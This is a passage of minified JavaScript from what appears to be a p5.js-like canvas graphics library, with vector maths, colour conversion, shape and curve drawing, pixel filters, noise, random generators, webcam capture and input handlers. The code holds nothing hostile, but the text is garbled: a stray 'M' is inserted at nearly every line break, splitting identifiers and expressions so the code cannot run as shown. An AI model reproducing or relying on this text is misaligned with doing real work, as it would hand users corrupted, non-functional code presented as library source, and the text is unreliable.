nst o=Math.cos(t),l=Math.sin(t),u=Math.cos(e),s=Math.sin(e);return a.x=n*s*l,a.y=-n*u,a.z=n*s*o,a},a.random2D=function(){return r=1,i=1,a.fromAngle(Math.random()*Math.PI*2)},a.random3D=function(){return r=1,i=1,a.fromAngles(Math.random()*Math.PI*2,Math.random()*Math.PI*2)},a.toString=function(){return`[${a.x}, ${a.y}, ${a.z}]`}};n.Vector.add=function(e,t){return new n.Vector(e.x+t.x,e.y+t.y,e.z+t.z)};n.Vector.rem=function(e,t){return new n.Vector(e.x%t.x,e.y%t.y,e.z%t.z)};n.Vector.sub=function(e,t){return new n.VecM
tor(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.mult=function(e,t){return null==t.x?new n.Vector(e.x*t,e.y*t,e.z*t):new n.Vector(e.x*t.x,e.y*t.y,e.z*t.z)};n.Vector.div=function(e,t){return null==t.x?new n.Vector(e.x/t,e.y/t,e.z/t):new n.Vector(e.x/t.x,e.y/t.y,e.z/t.z)};n.Vector.dist=function(e,t){return Math.hypot(e.x-t.x,e.y-t.y,e.z-t.z)};n.Vector.cross=function(e,t){return new n.Vector(e.y*t.z-e.z*t.y,e.z*t.x-e.x*t.z,e.x*t.y-e.y*t.x)};n.Vector.lerp=function(e,t,o){return new n.Vector(e.x*(1-o)+t.x*o,e.y=e.y*(1-o)+t.y*o,e.M
z=e.z*(1-o)+t.z*o)};n.Vector.equals=function(e,t,n){return e.equals(t,n)};for(let e of["fromAngle","fromAngles","random2D","random3D"])n.Vector[e]=function(t,o,a){return(new n.Vector)[e](t,o,a)};n.createVector=function(e,t,o){return new n.Vector(e,t,o)};n.curvePoint=function(e,t,n,o,a){const r=a*a*a,i=a*a,l=-.5*r+i-.5*a,u=1.5*r-2.5*i+1,s=-1.5*r+2*i+.5*a,c=.5*r-.5*i;return e*l+t*u+n*s+o*c};n.bezierPoint=function(e,t,n,o,a){const r=1-a;return Math.pow(r,3)*e+3*Math.pow(r,2)*a*t+3*r*Math.pow(a,2)*n+Math.pow(a,3)*o};n.M
curveTangent=function(e,t,n,o,a){const r=a*a,i=-3*r/2+2*a-.5,l=9*r/2-5*a,u=-9*r/2+4*a+.5,s=3*r/2-a;return e*i+t*l+n*u+o*s};n.bezierTangent=function(e,t,n,o,a){const r=1-a;return 3*o*Math.pow(a,2)-3*n*Math.pow(a,2)+6*n*r*a-6*t*r*a+3*t*Math.pow(r,2)-3*e*Math.pow(r,2)};function p(e,t,n){let o,a,r,i,l,u,s,c,h;if(0==t)return[255*(o=n),255*(a=n),255*(r=n)];switch((i=e)>360&&(i=0),s=n*(1-t),c=n*(1-t*(u=(i/=60)-(l=~~i))),h=n*(1-t*(1-u)),l){case 0:o=n,a=h,r=s;break;case 1:o=c,a=n,r=s;break;case 2:o=s,a=n,r=h;break;case 3:o=M
s,a=c,r=n;break;case 4:o=h,a=s,r=n;break;default:o=n,a=s,r=c}return[255*o,255*a,255*r]}n.Color=function(e,t,n,o){let a=this;a.MAGIC=786698,a._r=e,a._g=t,a._b=n,a._a=o,a._h=0,a._s=0,a._v=0,a._hsvInferred=!1,a.setRed=function(e){a._r=e,a._hsvInferred=!1},a.setGreen=function(e){a._g=e,a._hsvInferred=!1},a.setBlue=function(e){a._b=e,a._hsvInferred=!1},a.setAlpha=function(e){a._a=e/255,a._hsvInferred=!1},a._inferHSV=function(){a._hsvInferred||([a._h,a._s,a._v]=function(e,t,n){let o,a,r,i,l;if(o=e<t?e<n?e:n:t<n?t:n,0==(lM
=100*(a=e>t?e>n?e:n:t>n?t:n)/255))return[r=0,i=0,l];if(0==(i=100*(a-o)/a))return[r=0,i,l];r=a==e?0+60*(t-n)/(a-o):a==t?120+60*(n-e)/(a-o):240+60*(e-t)/(a-o);return[r,i,l]}(a._r,a._g,a._b),a._hsvInferred=!0)},a.toString=function(){return`rgba(${Math.round(a._r)},${Math.round(a._g)},${Math.round(a._b)},${~~(1e3*a._a)/1e3})`}};n.colorMode=function(e){n._colorMode=e};n.color=function(){if(1==arguments.length&&786698==arguments[0].MAGIC)return arguments[0];if(n._colorMode==n.RGB){if(1==arguments.length)return new n.ColoM
r(arguments[0],arguments[0],arguments[0],1);if(2==arguments.length)return new n.Color(arguments[0],arguments[0],arguments[0],arguments[1]/255);if(3==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],1);if(4==arguments.length)return new n.Color(arguments[0],arguments[1],arguments[2],arguments[3]/255)}else{if(1==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),1);if(2==arguments.length)return new n.Color(...p(0,0,arguments[0]/100),arguments[1]/255);if(3==arguments.length)return M
new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),1);if(4==arguments.length)return new n.Color(...p(arguments[0],arguments[1]/100,arguments[2]/100),arguments[3])}return null};n.red=function(e){return e._r};n.green=function(e){return e._g};n.blue=function(e){return e._b};n.alpha=function(e){return 255*e._a};n.hue=function(e){return e._inferHSV(),e._h};n.saturation=function(e){return e._inferHSV(),e._s};n.brightness=function(e){return e._inferHSV(),e._v};n.lightness=function(e){return 100*(.2126*e._r+.M
7152*e._g+.0722*e._b)/255};n.lerpColor=function(e,t,o){return n._colorMode==n.RGB?new n.Color(n.constrain(n.lerp(e._r,t._r,o),0,255),n.constrain(n.lerp(e._g,t._g,o),0,255),n.constrain(n.lerp(e._b,t._b,o),0,255),n.constrain(n.lerp(e._a,t._a,o),0,1)):(e._inferHSV(),t._inferHSV(),new n.Color(n.constrain(function(e,t,o){var a=[[Math.abs(t-e),n.map(o,0,1,e,t)],[Math.abs(t+360-e),n.map(o,0,1,e,t+360)],[Math.abs(t-360-e),n.map(o,0,1,e,t-360)]];return a.sort((e,t)=>e[0]-t[0]),(a[0][1]+720)%360}(e._h,t._h,o),0,360),n.constrM
ain(n.lerp(e._s,t._s,o),0,100),n.constrain(n.lerp(e._v,t._v,o),0,100),n.constrain(n.lerp(e._a,t._a,o),0,1)))};function m(){o.fillStyle="white",o.strokeStyle="black",o.lineCap="round",o.lineJoin="miter"}n.strokeWeight=function(e){n._noStroke=!1,o.lineWidth=e};n.stroke=function(){if(n._noStroke=!1,"string"==typeof arguments[0])return void(o.strokeStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noStroke=!0:o.strokeStyle=e};n.noStroke=function(){n._noStroke=!0};n.fill=function(){if(n._noFill=!1,"striM
ng"==typeof arguments[0])return void(o.fillStyle=arguments[0]);let e=n.color.apply(null,arguments);e._a<=0?n._noFill=!0:o.fillStyle=e};n.noFill=function(){n._noFill=!0};n.blendMode=function(e){o.globalCompositeOperation=e};n.strokeCap=function(e){o.lineCap=e};n.strokeJoin=function(e){o.lineJoin=e};n.ellipseMode=function(e){n._ellipseMode=e};n.rectMode=function(e){n._rectMode=e};n.curveDetail=function(e){n._curveDetail=e};n.curveAlpha=function(e){n._curveAlpha=e};n.curveTightness=function(e){console.warn("curveTightM
ness() sets the 'alpha' parameter of Catmull-Rom curve, and is NOT identical to p5.js counterpart. As this might change in the future, please call curveAlpha() directly."),n._curveAlpha=e};n.clear=function(){o.clearRect(0,0,n.width,n.height)};n.background=function(){if(arguments[0]&&arguments[0].MAGIC==n.MAGIC)return n.image(arguments[0],0,0,n.width,n.height);o.save(),o.resetTransform(),"string"==typeof arguments[0]?o.fillStyle=arguments[0]:o.fillStyle=n.color(...Array.from(arguments)),o.fillRect(0,0,n.width,n.heigM
ht),o.restore()};n.line=function(e,t,a,r){n._noStroke||(o.beginPath(),o.moveTo(e,t),o.lineTo(a,r),o.stroke())};function g(e){if(0<=e&&e<2*Math.PI)return e;for(;e<0;)e+=2*Math.PI;for(;e>=Math.PI;)e-=2*Math.PI;return e}function v(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;let c=g(i),h=g(l);o.beginPath();for(let i=0;i<s+1;i++){let l=i/s,u=n.lerp(c,h,l),f=Math.cos(u)*a/2,d=Math.sin(u)*r/2;o[i?"lineTo":"moveTo"](e+f,t+d)}u==n.CHORD?o.closePath():u==n.PIE&&(o.lineTo(e,t),o.closePath()),n._noFill||o.fill(),n._noStrM
oke||o.stroke()}n.arc=function(e,t,o,a,r,i,l,u){if(r==i)return n.ellipse(e,t,o,a);null==u&&(u=25),null==l&&(l=n.PIE),n._ellipseMode==n.CENTER?v(e,t,o,a,r,i,l,u):n._ellipseMode==n.RADIUS?v(e,t,2*o,2*a,r,i,l,u):n._ellipseMode==n.CORNER?v(e+o/2,t+a/2,o,a,r,i,l,u):n._ellipseMode==n.CORNERS&&v((e+o)/2,(t+a)/2,o-e,a-t,r,i,l,u)};function M(e,t,a,r){n._noFill&&n._noStroke||(o.beginPath(),o.ellipse(e,t,a/2,r/2,0,0,2*Math.PI),n._noFill||o.fill(),n._noStroke||o.stroke())}n.ellipse=function(e,t,o,a){null==a&&(a=o),n._ellipseMoM
de==n.CENTER?M(e,t,o,a):n._ellipseMode==n.RADIUS?M(e,t,2*o,2*a):n._ellipseMode==n.CORNER?M(e+o/2,t+a/2,o,a):n._ellipseMode==n.CORNERS&&M((e+o)/2,(t+a)/2,o-e,a-t)};n.circle=function(e,t,o){return n.ellipse(e,t,o,o)};n.point=function(e,t){e.x&&(t=e.y,e=e.x),o.beginPath(),o.ellipse(e,t,.4,.4,0,0,2*Math.PI),o.stroke()};function _(e,t,a,r,i,l,u,s){if(n._noFill&&n._noStroke)return;if(null==i)return function(e,t,a,r){n._noFill||o.fillRect(e,t,a,r);n._noStroke||o.strokeRect(e,t,a,r)}(e,t,a,r);if(null==l)return _(e,t,a,r,i,M
i,i,i);const c=Math.min(Math.abs(r),Math.abs(a))/2;i=Math.min(c,i),l=Math.min(c,l),s=Math.min(c,s),u=Math.min(c,u),o.beginPath(),o.moveTo(e+i,t),o.arcTo(e+a,t,e+a,t+r,l),o.arcTo(e+a,t+r,e,t+r,u),o.arcTo(e,t+r,e,t,s),o.arcTo(e,t,e+a,t,i),o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke()}n.rect=function(e,t,o,a,r,i,l,u){n._rectMode==n.CENTER?_(e-o/2,t-a/2,o,a,r,i,l,u):n._rectMode==n.RADIUS?_(e-o,t-a,2*o,2*a,r,i,l,u):n._rectMode==n.CORNER?_(e,t,o,a,r,i,l,u):n._rectMode==n.CORNERS&&_(e,t,o-e,a-t,r,i,l,u)};n.squM
are=function(e,t,o,a,r,i,l){return n.rect(e,t,o,o,a,r,i,l)};function x(){i=[]}n.beginShape=function(){x(),o.beginPath(),r=!0};n.beginContour=function(){o.closePath(),x(),r=!0};n.endContour=function(){x(),r=!0};n.vertex=function(e,t){x(),r?o.moveTo(e,t):o.lineTo(e,t),r=!1};n.bezierVertex=function(e,t,n,a,r,i){x(),o.bezierCurveTo(e,t,n,a,r,i)};n.quadraticVertex=function(e,t,n,a){x(),o.quadraticCurveTo(e,t,n,a)};n.bezier=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.bezierVertex(o,a,r,i,l,u),n.endShape()};nM
.triangle=function(e,t,o,a,r,i){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.endShape(n.CLOSE)};n.quad=function(e,t,o,a,r,i,l,u){n.beginShape(),n.vertex(e,t),n.vertex(o,a),n.vertex(r,i),n.vertex(l,u),n.endShape(n.CLOSE)};n.endShape=function(e){x(),e&&o.closePath(),n._noFill||o.fill(),n._noStroke||o.stroke(),n._noFill&&n._noStroke&&(o.save(),o.fillStyle="none",o.fill(),o.restore())};n.curveVertex=function(e,t){if(i.push([e,t]),i.length<4)return;let a=i[i.length-4],l=i[i.length-3],u=i[i.length-2],s=i[i.M
length-1],c=function(e,t,n,o,a,r,i,l,u,s){function c(e,t,n,o,a,r){let i=Math.pow(o-t,2)+Math.pow(a-n,2),l=Math.pow(i,.5*r);return l+e}let h=[],f=c(0,e,t,n,o,s),d=c(f,n,o,a,r,s),p=c(d,a,r,i,l,s);for(let s=0;s<u;s++){let c=f+s/(u-1)*(d-f),m=[(f-c)/(f-0),(c-0)/(f-0),(d-c)/(d-f),(c-f)/(d-f),(p-c)/(p-d),(c-d)/(p-d),(d-c)/(d-0),(c-0)/(d-0),(p-c)/(p-f),(c-f)/(p-f)];for(let e=0;e<m.length;e+=2)isNaN(m[e])&&(m[e]=1,m[e+1]=0),isFinite(m[e])||(m[e]>0?(m[e]=1,m[e+1]=0):(m[e]=0,m[e+1]=1));let g=e*m[0]+n*m[1],v=t*m[0]+o*m[1],M=nM
*m[2]+a*m[3],_=o*m[2]+r*m[3],x=a*m[4]+i*m[5],y=r*m[4]+l*m[5],w=g*m[6]+M*m[7],R=v*m[6]+_*m[7],I=M*m[8]+x*m[9],E=_*m[8]+y*m[9],S=w*m[2]+I*m[3],C=R*m[2]+E*m[3];h.push([S,C])}return h}(...a,...l,...u,...s,n._curveDetail,n._curveAlpha);for(let e=0;e<c.length;e++)r?o.moveTo(...c[e]):o.lineTo(...c[e]),r=!1};n.curve=function(e,t,o,a,r,i,l,u){n.beginShape(),n.curveVertex(e,t),n.curveVertex(o,a),n.curveVertex(r,i),n.curveVertex(l,u),n.endShape()};n.translate=function(e,t){o.translate(e,t)};n.rotate=function(e){o.rotate(e)};nM
.scale=function(e,t){null==t&&(t=e),o.scale(e,t)};n.applyMatrix=function(e,t,n,a,r,i){o.transform(e,t,n,a,r,i)};n.shearX=function(e){o.transform(1,0,Math.tan(e),1,0,0)};n.shearY=function(e){o.transform(1,Math.tan(e),0,1,0,0)};n.resetMatrix=function(){o.resetTransform(),o.scale(n._pixelDensity,n._pixelDensity)};n.pushMatrix=n.push=function(){o.save()};n.popMatrix=n.pop=function(){o.restore()};n.image=function(e,t,a,r,i,l,u,s,c){let h=e.MAGIC==n.MAGIC?e.canvas:e;function d(){if(e.MAGIC!=n.MAGIC||!n._tint)return;let tM
=e.canvas.getContext("2d");t.save(),t.resetTransform(),t.clearRect(0,0,t.canvas.width,t.canvas.height),t.drawImage(f.canvas,0,0),t.restore()}return e.MAGIC==n.MAGIC&&null!=n._tint&&(!function(e,t){null==f&&(f=document.createElement("canvas").getContext("2d"));null==e&&(e=o.canvas.width,t=o.canvas.height);f.canvas.width==e&&f.canvas.height==t||(f.canvas.width=e,f.canvas.height=t)}(e.canvas.width,e.canvas.height),f.drawImage(e.canvas,0,0),e.tinted(n._tint)),r?l?(s||(s=h.width),c||(c=h.height),o.drawImage(h,l,u,s,c,t,M
a,r,i),void d()):(o.drawImage(h,t,a,r,i),void d()):(e.MAGIC==n.MAGIC||e.width?o.drawImage(h,t,a,e.width,e.height):o.drawImage(h,t,a,e.videoWidth,e.videoHeight),void d())};n.loadPixels=function(){l=o.getImageData(0,0,n.canvas.width,n.canvas.height),n.pixels=l.data};n.updatePixels=function(){null!=l&&o.putImageData(l,0,0)};n.loadImage=function(e,t){u++;let o=n.createGraphics(100,100),a=o.canvas.getContext("2d"),r=new Image;return r.src=e,r.crossOrigin="Anonymous",r.onload=function(){a.canvas.width=r.width,a.canvas.heM
ight=r.height,o.width=r.width,o.height=r.height,a.drawImage(r,0,0),u--,t&&t(o)},o};let y={};y[n.THRESHOLD]=function(e,t){null==t?t=127.5:t*=255;for(let n=0;n<e.length;n+=4){const o=.2126*e[n]+.7152*e[n+1]+.0722*e[n+2];e[n]=e[n+1]=e[n+2]=o>=t?255:0}};y[n.GRAY]=function(e){for(let t=0;t<e.length;t+=4){const n=.2126*e[t]+.7152*e[t+1]+.0722*e[t+2];e[t]=e[t+1]=e[t+2]=n}};y[n.OPAQUE]=function(e){for(let t=0;t<e.length;t+=4)e[t+3]=255};y[n.INVERT]=function(e){for(let t=0;t<e.length;t+=4)e[t]=255-e[t],e[t+1]=255-e[t+1],e[tM
+2]=255-e[t+2]};y[n.POSTERIZE]=function(e,t){let n=t-1;for(let o=0;o<e.length;o+=4)e[o]=255*(e[o]*t>>8)/n,e[o+1]=255*(e[o+1]*t>>8)/n,e[o+2]=255*(e[o+2]*t>>8)/n};y[n.DILATE]=function(e){R(),d.set(e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.max(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.ERODE]=function(e){R(),d.set(M
e);let[t,n]=[o.canvas.width,o.canvas.height];for(let o=0;o<n;o++)for(let a=0;a<t;a++){let r=4*Math.max(a-1,0),i=4*Math.min(a+1,t-1),l=4*Math.max(o-1,0)*t,u=4*Math.min(o+1,n-1)*t,s=4*o*t,c=4*a;for(let t=0;t<4;t++){let n=t+l,o=t+u,a=t+s;e[s+c+t]=Math.min(d[n+c],d[a+r],d[a+c],d[a+i],d[o+c])}}};y[n.BLUR]=function(e,t){t=t||1,t=Math.floor(t*n._pixelDensity),R(),d.set(e);let a=2*t+1;let r=function(e){let n=new Float32Array(e),o=.3*t+.8,a=o*o*2;for(let t=0;t<e;t++){let r=t-e/2,i=Math.exp(-r*r/a)/(2.5066282746*o);n[t]=i}reM
turn n}(a),[i,l]=[o.canvas.width,o.canvas.height];for(let n=0;n<l;n++)for(let o=0;o<i;o++){let l=0,u=0,s=0,c=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(o-t+e,0),i-1),h=4*(n*i+a);l+=d[h]*r[e],u+=d[h+1]*r[e],s+=d[h+2]*r[e],c+=d[h+3]*r[e]}let h=4*(n*i+o);e[h]=l,e[h+1]=u,e[h+2]=s,e[h+3]=c}d.set(e);for(let n=0;n<l;n++)for(let o=0;o<i;o++){let u=0,s=0,c=0,h=0;for(let e=0;e<a;e++){let a=Math.min(Math.max(n-t+e,0),l-1),f=4*(a*i+o);u+=d[f]*r[e],s+=d[f+1]*r[e],c+=d[f+2]*r[e],h+=d[f+3]*r[e]}let f=4*(n*i+o);e[f]=u,e[f+1]=sM
,e[f+2]=c,e[f+3]=h}};function w(e,t){null==h&&(h=document.createElement("canvas").getContext("2d")),null==e&&(e=o.canvas.width,t=o.canvas.height),h.canvas.width==e&&h.canvas.height==t||(h.canvas.width=e,h.canvas.height=t)}function R(){let e=o.canvas.width*o.canvas.height*4;null!=d&&e==d.length||(d=new Uint8ClampedArray(e))}function I(e){h.clearRect(0,0,h.canvas.width,h.canvas.height),h.filter=e,h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvasM
,0,0),o.restore()}n.filter=function(e,t){let a=n.HARDWARE_FILTERS&&null!=o.filter;if(a)if(w(),e==n.THRESHOLD){null==t&&(t=.5),t=Math.max(t,1e-5);let e=Math.floor(.5/t*100);I(`saturate(0%) brightness(${e}%) contrast(1000000%)`)}else if(e==n.GRAY)I("saturate(0%)");else if(e==n.OPAQUE)h.fillStyle="black",h.fillRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),o.save(),o.resetTransform(),o.drawImage(h.canvas,0,0),o.restore();else if(e==n.INVERT)I("invert(100%)");else if(e==n.BLUR)I(`blur(${Math.ceil(t*M
n._pixelDensity/1)||1}px)`);else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}else{let n=o.getImageData(0,0,o.canvas.width,o.canvas.height);y[e](n.data,t),o.putImageData(n,0,0)}};n.resize=function(e,t){w(),h.drawImage(o.canvas,0,0),n.width=e,n.height=t,o.canvas.width=e*n._pixelDensity,o.canvas.height=t*n._pixelDensity,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0,o.canvas.width,o.canvas.height),o.restore()};n.getM
=function(e,t,a,r){if(null!=e&&null==a){let a=o.getImageData(e,t,1,1).data;return new n.Color(a[0],a[1],a[2],a[3]/255)}e=e||0,t=t||0,a=a||n.width,r=r||n.height;let i=n.createGraphics(a,r);i.pixelDensity(n._pixelDensity);let l=o.getImageData(e*n._pixelDensity,t*n._pixelDensity,a*n._pixelDensity,r*n._pixelDensity);return i.canvas.getContext("2d").putImageData(l,0,0),i};n.set=function(e,t,a){if(a.MAGIC==n.MAGIC){let o=n._tint;return n._tint=null,n.image(a,e,t),void(n._tint=o)}let r=4*(t*n._pixelDensity*o.canvas.width+M
e*n._pixelDensity);n.pixels[r]=a._r,n.pixels[r+1]=a._g,n.pixels[r+2]=a._b,n.pixels[r+3]=255*a._a};n.tinted=function(){let e=n.color(...Array.from(arguments)),t=e._a;e._a=1,w(),h.clearRect(0,0,h.canvas.width,h.canvas.height),h.fillStyle=e,h.fillRect(0,0,h.canvas.width,h.canvas.height),h.globalCompositeOperation="multiply",h.drawImage(o.canvas,0,0),h.globalCompositeOperation="source-over",o.save(),o.resetTransform();let a=o.globalCompositeOperation;o.globalCompositeOperation="source-in",o.drawImage(h.canvas,0,0),o.glM
obalCompositeOperation=a,o.restore(),h.globalAlpha=t,h.clearRect(0,0,h.canvas.width,h.canvas.height),h.drawImage(o.canvas,0,0),h.globalAlpha=1,o.save(),o.resetTransform(),o.clearRect(0,0,o.canvas.width,o.canvas.height),o.drawImage(h.canvas,0,0),o.restore()};n.tint=function(){n._tint=n.color(...Array.from(arguments))};n.noTint=function(){n._tint=null};n.mask=function(e){o.save(),o.resetTransform();let t=o.globalCompositeOperation;o.globalCompositeOperation="destination-in",o.drawImage(e.canvas,0,0),o.globalCompositeM
Operation=t,o.restore()};n.clearTemporaryBuffers=function(){h=null,f=null,d=null};n.save=function(e,t){e=e||"untitled",t=t||"png";var n=document.createElement("a");n.innerHTML="[Download]",n.addEventListener("click",function(){this.href=o.canvas.toDataURL(),this.download=e+"."+t},!1),document.body.appendChild(n),n.click(),document.body.removeChild(n)};n.saveCanvas=function(e,t,o){if(e.MAGIC==n.MAGIC){o&&e.save(t,o);let n=t.split(".");return e.save(n.slice(0,-1).join("."),n[n.length-1])}if(t)return n.save(e,t);let aM
=e.split(".");return n.save(a.slice(0,-1).join("."),a[a.length-1])};n.loadFont=function(e,t){let n=e.split("/"),o=n[n.length-1].split(".")[0].replace(" ",""),a=`@font-face {\n        font-family: '${o}';\n        src: url('${e}');\n      }`;const r=document.createElement("style");return r.textContent=a,document.head.append(r),o};n.textFont=function(e){n._textFont=e};n.textSize=function(e){n._textSize=e,n._textLeading=e};n.textLeading=function(e){n._textLeading=e};n.textStyle=function(e){n._textStyle=e};n.textAlign=M
function(e,t){o.textAlign=e,t&&(o.textBaseline=t==n.CENTER?"middle":t)};n.text=function(e,t,a,r){if(!e)return;if(e=e.toString(),n._noFill&&n._noStroke)return;o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`;let i=e.split("\n");for(let e=0;e<i.length;e++)n._noFill||o.fillText(i[e],t,a,r),n._noStroke||o.strokeText(i[e],t,a,r),a+=n._textLeading};n.textWidth=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).width};n.textAscent=function(e){return o.font=`${n._textStyle}M
 ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxAscent};n.textDescent=function(e){return o.font=`${n._textStyle} ${n._textSize}px ${n._textFont}`,o.measureText(e).actualBoundingBoxDescent};var E=4;var S=.5;var C=function(e){return.5*(1-Math.cos(e*Math.PI))};var A;n.noise=function(e,t,n){if(t=t||0,n=n||0,null==A){A=new Array(4096);for(var o=0;o<4096;o++)A[o]=Math.random()}e<0&&(e=-e),t<0&&(t=-t),n<0&&(n=-n);for(var a,r,i,l,u,s=Math.floor(e),c=Math.floor(t),h=Math.floor(n),f=e-s,d=t-c,p=n-h,m=0,g=M
.5,v=0;v<E;v++){var M=s+(c<<4)+(h<<8);a=C(f),r=C(d),i=A[4095&M],i+=a*(A[M+1&4095]-i),l=A[M+16&4095],l+=a*(A[M+16+1&4095]-l),i+=r*(l-i),l=A[4095&(M+=256)],l+=a*(A[M+1&4095]-l),u=A[M+16&4095],u+=a*(A[M+16+1&4095]-u),l+=r*(u-l),i+=C(p)*(l-i),m+=i*g,g*=S,s<<=1,c<<=1,h<<=1,(f*=2)>=1&&(s++,f--),(d*=2)>=1&&(c++,d--),(p*=2)>=1&&(h++,p--)}return m};n.noiseDetail=function(e,t){e>0&&(E=e),t>0&&(S=t)};const T=function(){let e,t,n=4294967295;return{setSeed(o){e=t=(null==o?Math.random()*n:o)>>>0},getSeed:()=>t,rand:()=>(e^=e<<17M
,e^=e>>13,((e^=e<<5)>>>0)/n)}};let D=T();D.setSeed();n.noiseSeed=function(e){let t=null==e?4294967295*Math.random():e;A||(A=new Float32Array(4096));for(var n=0;n<4096;n++)t^=t<<17,t^=t>>13,t^=t<<5,A[n]=(t>>>0)/4294967295};n.randomSeed=function(e){D.setSeed(e)};n.random=function(e,t){return"number"==typeof e?null!=t?D.rand()*(t-e)+e:D.rand()*e:e[~~(e.length*D.rand())]};n.randomGenerator=function(e){e==n.LCG?D=function(){const e=4294967296;let t,n;return{setSeed(o){n=t=(null==o?Math.random()*e:o)>>>0},getSeed:()=>t,rM
and:()=>(n=(1664525*n+1013904223)%e)/e}}():e==n.SHR3&&(D=T()),D.setSeed()};var P=new function(){var e,t,n,o=new Array(128),a=new Array(256),r=new Array(128),i=new Array(128),l=new Array(256),u=new Array(256),s=function(){return 4294967296*D.rand()-2147483648},c=function(){return.5+2.328306e-10*(s()<<0)},h=function(){for(var t,a,l,u,h=3.44262;;){if(t=n*r[e],0==e){do{l=c(),u=c(),t=.2904764*-Math.log(l),a=-Math.log(u)}while(a+a<t*t);return n>0?h+t:-h-t}if(i[e]+c()*(i[e-1]-i[e])<Math.exp(-.5*t*t))return t;if(n=s(),e=12M
7&n,Math.abs(n)<o[e])return n*r[e]}},f=function(){for(var n;;){if(0==e)return 7.69711-Math.log(c());if(n=t*l[e],u[e]+c()*(u[e-1]-u[e])<Math.exp(-n))return n;if((t=s())<a[e=255&t])return t*l[e]}};this.SHR3=s,this.UNI=c,this.RNOR=function(){return n=s(),e=127&n,Math.abs(n)<o[e]?n*r[e]:h()},this.REXP=function(){return(t=s()>>>0)<o[e=255&t]?t*l[e]:f()},this.zigset=function(){var e,t,n=2147483648,s=4294967296,c=3.442619855899,h=c,f=.00991256303526217,d=7.697117470131487,p=d,m=.003949659822581572;for(e=f/Math.exp(-.5*c*cM
),o[0]=Math.floor(c/e*n),o[1]=0,r[0]=e/n,r[127]=c/n,i[0]=1,i[127]=Math.exp(-.5*c*c),t=126;t>=1;t--)c=Math.sqrt(-2*Math.log(f/c+Math.exp(-.5*c*c))),o[t+1]=Math.floor(c/h*n),h=c,i[t]=Math.exp(-.5*c*c),r[t]=c/n;for(e=m/Math.exp(-d),a[0]=Math.floor(d/e*s),a[1]=0,l[0]=e/s,l[255]=d/s,u[0]=1,u[255]=Math.exp(-d),t=254;t>=1;t--)d=-Math.log(m/d+Math.exp(-d)),a[t+1]=Math.floor(d/p*s),p=d,u[t]=Math.exp(-d),l[t]=d/s}};P.hasInit=!1;n.randomGaussian=function(e,t){return P.hasInit||(P.zigset(),P.hasInit=!0),P.RNOR()*t+e};n.randomEM
xponential=function(){return P.hasInit||(P.zigset(),P.hasInit=!0),P.REXP()};n.print=console.log;n.cursor=function(e,t,o){let a="";e.includes(".")&&(e=`url("${e}")`,a=", auto"),null!=t&&(e+=" "+t+" "+o),n.canvas.style.cursor=e+a};n.noCursor=function(){n.canvas.style.cursor="none"};n.createCapture=function(e){var t=document.createElement("video");return t.playsinline="playsinline",t.autoplay="autoplay",navigator.mediaDevices.getUserMedia(e).then(function(e){t.srcObject=e}),t.style.position="absolute",t.style.opacity=M
1e-5,t.style.zIndex=-1e3,document.body.appendChild(t),t};let b=["setup","draw","preload","mouseMoved","mousePressed","mouseReleased","mouseDragged","mouseClicked","keyPressed","keyReleased","keyTyped","touchStarted","touchEnded"];for(let e of b){let t="_"+e+"Fn";n[t]=function(){},n[t].isPlaceHolder=!0,n[e]?n[t]=n[e]:Object.defineProperty(n,e,{set:function(e){n[t]=e}})}function z(){n._noLoop||(a=null==n._frameRate?requestAnimationFrame(z):setTimeout(z,1e3/n._frameRate)),x(),r=!0,o.save(),n._drawFn(),o.restore(),n.frM
ameCount++}n.noLoop=function(){n._noLoop=!0,a=null};n.loop=function(){n._noLoop=!1,null==a&&z()};n.redraw=function(){z()};n.frameRate=function(e){n._frameRate=e};setTimeout(function(){n._preloadFn(),c=window.performance.now(),function e(){if(u>0)return setTimeout(e,10);n._setupFn();z()}()},1);n.canvas.onmousemove=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed?n._mouseDraggedFn(e):n._mouseMovedFn(e)};n.canvas.onmousedown=function(e){n.pmouseX=n.mouseX,n.pmousM
eY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n.mouseButton=[n.LEFT,n.CENTER,n.RIGHT][e.button],n._mousePressedFn(e)};n.canvas.onmouseup=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!1,n._mouseReleasedFn(e)};n.canvas.onclick=function(e){n.pmouseX=n.mouseX,n.pmouseY=n.mouseY,n.mouseX=e.offsetX,n.mouseY=e.offsetY,n.mouseIsPressed=!0,n._mouseClickedFn(e),n.mouseIsPressed=!1};window.addEventListener("keydown",function(e){n.keyIsPressed=M
